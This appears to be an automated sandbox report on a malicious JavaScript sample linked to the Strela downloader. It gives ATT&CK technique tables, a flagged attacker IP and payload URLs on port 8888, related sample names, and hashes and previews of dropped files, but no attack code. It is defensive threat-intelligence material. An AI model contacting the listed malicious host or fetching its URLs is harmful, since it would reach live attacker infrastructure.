Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1071116915318159767.js	7%	Virustotal		Browse
1071116915318159767.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/f	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/5	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.37	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3595651452.00000212FF0A3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2377785087.00000212FED90000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/5	net.exe, 00000007.00000003.2372289560.000002177C22E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2373313762.000002177C22E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/f	net.exe, 00000007.00000002.2373269018.000002177C1F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2373269018.000002177C1F8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2373313762.000002177C22E000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588163
Start date and time:	2025-01-10 22:05:54 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1071116915318159767.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 52.6.155.20, 52.22.41.97, 3.233.129.217, 3.219.243.226, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 2.16.168.107, 2.16.168.105, 40.126.32.74, 20.109.210.53, 23.41.168.139
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, login.live.com, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
16:07:13	API Interceptor	23x Sleep call for process: powershell.exe modified
16:07:17	API Interceptor	1x Sleep call for process: net.exe modified
16:07:17	API Interceptor	2x Sleep call for process: svchost.exe modified
16:07:30	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	146362284148625748.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2832817159901627624.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2513521629114031259.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	213526738195689141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	2832817159901627624.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.37
	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.23
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	7bAMuw5ono.exe	Get hash	malicious	Unknown	Browse	217.20.57.18
	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.36
	533625797193620143.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.21
	Bontrageroutdoors_Project_Update_202557516.pdf	Get hash	malicious	Unknown	Browse	217.20.57.42
	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.19
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.20

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	146362284148625748.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2832817159901627624.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2513521629114031259.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	213526738195689141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307099120281675
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDug+:gJjJGtpTq2yv1AuNZRY3diu8iBVqF8
MD5:	35E272856F74B1836B99700958D7641E
SHA1:	A9EF1503B2A426B832325E8A4DC7A72675AD8ACC
SHA-256:	53DD3986B700015CA126FE35DA7D2AC603972B5137D55511B1F0B0D2018BDB6B
SHA-512:	C5B4BBE9C8A28E037AEC218F7E4BBC889DA62E6B7ADB5A2172247EBD925B937672C18EA4C2A3D3E1894BEE22E5CE1F4A2269EDE6816C7D3C198F3CDFC0ED933D
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x6f9467e1, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585885638081529
Encrypted:	false
SSDEEP:	1536:hSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:haza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	FEBF179276A04E08787D7FED74016AF9
SHA1:	7F0F0175AA9C9C487DB6BD5B221CA565EA5E049F
SHA-256:	05075FED1A514C50C7DB7E1F6F4DEB1F750CB199F5CD6A7579640C88F38A1CF5
SHA-512:	46F7F5ED2C116ADC7212376D0378442964E44A5E83CC5D2A13B57020A12D5180635BDE534955298BCDBF7FEEE6D76409E6CE8A34C461104D9D9E7AA15324C05F
Malicious:	false
Preview:	o.g.... ...............X\...;...{......................0.z..........{.......}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................'+.......}..................n......}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08093049189685073
Encrypted:	false
SSDEEP:	3:/Sl8YeATRytGuAJkhvekl1SE3TEt/ollrekGltll/SPj:/W8zQYtrxl0htAJe3l
MD5:	A31FFC03CB8780A3DF6ECB7A5DC262AD
SHA1:	46D093E682BA70AFC86AB5ACCC194930AE28337E
SHA-256:	950E5CDF0B1DE0F7ABED74ED9A5BD697805B2BBF710E92C4111FF5E13B597221
SHA-512:	F1DF79E2B0003D17450D521630D2FA7B6860EE54DA2D26D34D675C36997E94AA12A96190B65D2D374767EA9194011D5DC2B84A83E79B6CD71C02F1E3D855BBE5
Malicious:	false
Preview:	r..:.....................................;...{.......}.......{...............{.......{...XL......{...................n......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.124474378422248
Encrypted:	false
SSDEEP:	6:iO431d6+q2P92nKuAl9OmbnIFUtS31dSH0WZmws31dSHDVkwO92nKuAl9OmbjLJ:7i6+v4HAahFUtYXW/eiV5LHAaSJ
MD5:	BC5D2F8860F325563915A515E55A6215
SHA1:	0876B68D2A2732B096210B15ACD745E285F82C7A
SHA-256:	9BB45EC66450F68752AEEF5BE0856FA0A5F260D10C4EF31D872C20B94B5FFC4C
SHA-512:	143756EF58BC6615110C089322A1218292D30BC0802FB92070FDE0FF6FF5E58638EA36B57E14FF1D08F20D5DE8D017484B04A531ED10C2B2779F18A4F73BEAFA
Malicious:	false
Preview:	2025/01/10-16:07:17.567 1c5c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:07:17.570 1c5c Recovering log #3.2025/01/10-16:07:17.570 1c5c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.124474378422248
Encrypted:	false
SSDEEP:	6:iO431d6+q2P92nKuAl9OmbnIFUtS31dSH0WZmws31dSHDVkwO92nKuAl9OmbjLJ:7i6+v4HAahFUtYXW/eiV5LHAaSJ
MD5:	BC5D2F8860F325563915A515E55A6215
SHA1:	0876B68D2A2732B096210B15ACD745E285F82C7A
SHA-256:	9BB45EC66450F68752AEEF5BE0856FA0A5F260D10C4EF31D872C20B94B5FFC4C
SHA-512:	143756EF58BC6615110C089322A1218292D30BC0802FB92070FDE0FF6FF5E58638EA36B57E14FF1D08F20D5DE8D017484B04A531ED10C2B2779F18A4F73BEAFA
Malicious:	false
Preview:	2025/01/10-16:07:17.567 1c5c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:07:17.570 1c5c Recovering log #3.2025/01/10-16:07:17.570 1c5c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.152825534154998
Encrypted:	false
SSDEEP:	6:iO431wLN4q2P92nKuAl9Ombzo2jMGIFUtS3102NJZmws31QXDkwO92nKuAl9OmbX:7HN4v4HAa8uFUtEJ/VXD5LHAa8RJ
MD5:	76A978F30019EDFA8002753DAC7754A6
SHA1:	30BB0EC4555D4029C96155972B933EAB59DEC226
SHA-256:	0AFAF298B3BBEE37E1CD86EE0390EAB171C2F247A2FBEF1429EF9DDD55396A96
SHA-512:	9290B7B2B3362C296D7A7B4D060410722B58DCB91C64E07D4EBEBCBC55294C43B03DBAE00940E035B35E1A1432E6C501590A68D85D9290722C5F26B22190296F
Malicious:	false
Preview:	2025/01/10-16:07:18.020 1d64 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:07:18.050 1d64 Recovering log #3.2025/01/10-16:07:18.060 1d64 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.152825534154998
Encrypted:	false
SSDEEP:	6:iO431wLN4q2P92nKuAl9Ombzo2jMGIFUtS3102NJZmws31QXDkwO92nKuAl9OmbX:7HN4v4HAa8uFUtEJ/VXD5LHAa8RJ
MD5:	76A978F30019EDFA8002753DAC7754A6
SHA1:	30BB0EC4555D4029C96155972B933EAB59DEC226
SHA-256:	0AFAF298B3BBEE37E1CD86EE0390EAB171C2F247A2FBEF1429EF9DDD55396A96
SHA-512:	9290B7B2B3362C296D7A7B4D060410722B58DCB91C64E07D4EBEBCBC55294C43B03DBAE00940E035B35E1A1432E6C501590A68D85D9290722C5F26B22190296F
Malicious:	false
Preview:	2025/01/10-16:07:18.020 1d64 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:07:18.050 1d64 Recovering log #3.2025/01/10-16:07:18.060 1d64 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\17521ea0-0859-46fb-8ce5-4cb37f5aa210.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.041675786370717
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqGIWsBdOg2HIcaq3QYiubxnP7E4T3OF+:Y2sRdsCdMHj3QYhbxP7nbI+
MD5:	1CDD10546068540262AA902FF608E864
SHA1:	8DEEC36DA8DD503D675A6AC48244BB10074710A0
SHA-256:	4F932A89581AE5393339F6D396D5AF0F4D19EA26E358B3E79AE52FBE6EE6D311
SHA-512:	AB6EDF90B21CE804ADAE8360FA6DD3D8C3A7AC90D5BE8F6FF014240F8A1EB74E71BCB29A5872A0E22430D89F6DB7BB542F3B34333379027445B5865969A9D923
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381103250118335","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133755},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.041675786370717
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqGIWsBdOg2HIcaq3QYiubxnP7E4T3OF+:Y2sRdsCdMHj3QYhbxP7nbI+
MD5:	1CDD10546068540262AA902FF608E864
SHA1:	8DEEC36DA8DD503D675A6AC48244BB10074710A0
SHA-256:	4F932A89581AE5393339F6D396D5AF0F4D19EA26E358B3E79AE52FBE6EE6D311
SHA-512:	AB6EDF90B21CE804ADAE8360FA6DD3D8C3A7AC90D5BE8F6FF014240F8A1EB74E71BCB29A5872A0E22430D89F6DB7BB542F3B34333379027445B5865969A9D923
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381103250118335","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133755},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.240009077894462
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUwZYBjR:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLG
MD5:	F0E149A832747C9BB5387420315F818E
SHA1:	9055A39246A16585D95475BD8AC770267F723373
SHA-256:	F80DCAB4BF7AA2A8F652810E041820EAFE035207B30EE1EDC1C1FCB06C1CC005
SHA-512:	CF892A6CDE345DFCBD6EEDA5D30F72ABD32CA4C43BD1F15F8A6D83926B5FDE207A8C9D7AF863BBBAB72B51BACB9250BF7F08065E0BFA09E9DF28E08AEB0A97DF
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.186086943093058
Encrypted:	false
SSDEEP:	6:iO431YEs4q2P92nKuAl9OmbzNMxIFUtS31YqsJZmws31YqDkwO92nKuAl9OmbzNq:7PEs4v4HAa8jFUt1pJ/bqD5LHAa84J
MD5:	D637636C17499BCE11ACFA52D8A8D771
SHA1:	04DF47C35CE7A58BF373B44D25D6940E7DD2FCBA
SHA-256:	3336C9818B37AF94A75426D5D14A25441EE6745B245165571EC64ED0FC34B376
SHA-512:	818D55963DD085728F2584551D2891EE12E0900024EFA42C2AA07FDECE30A5DA76A08148683FCBC6D8DBF78C202F49BD02B824F69767B23307169D00E92F4839
Malicious:	false
Preview:	2025/01/10-16:07:18.310 1d64 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:07:18.312 1d64 Recovering log #3.2025/01/10-16:07:18.313 1d64 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.186086943093058
Encrypted:	false
SSDEEP:	6:iO431YEs4q2P92nKuAl9OmbzNMxIFUtS31YqsJZmws31YqDkwO92nKuAl9OmbzNq:7PEs4v4HAa8jFUt1pJ/bqD5LHAa84J
MD5:	D637636C17499BCE11ACFA52D8A8D771
SHA1:	04DF47C35CE7A58BF373B44D25D6940E7DD2FCBA
SHA-256:	3336C9818B37AF94A75426D5D14A25441EE6745B245165571EC64ED0FC34B376
SHA-512:	818D55963DD085728F2584551D2891EE12E0900024EFA42C2AA07FDECE30A5DA76A08148683FCBC6D8DBF78C202F49BD02B824F69767B23307169D00E92F4839
Malicious:	false
Preview:	2025/01/10-16:07:18.310 1d64 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:07:18.312 1d64 Recovering log #3.2025/01/10-16:07:18.313 1d64 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7282048283587708
Encrypted:	false
SSDEEP:	3:kkFkl4wj/tfllXlE/HT8kmNNX8RolJuRdxLlGB9lQRYwpDdt:kKhwbeT8dNMa8RdWBwRd
MD5:	78374BCD64C857A7EB7D85874D8B26A4
SHA1:	3E13DCCA61C717BF2A2D10FE74E192A14B0D701F
SHA-256:	C1CE43AC984C43C56B4DB12988D04C22E41B2B04004B6612690311C78FE27E0A
SHA-512:	F79D6FAA25EF6AEF7447E07AC64E7690764928A558274A8EF463A238FB84F263462CEEB834DA3B0B54AB7BBED7CF7FA5146A98B246E73E8553150ADD24D51CFA
Malicious:	false
Preview:	p...... ........K_...c..(....................................................... ..........W....t...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
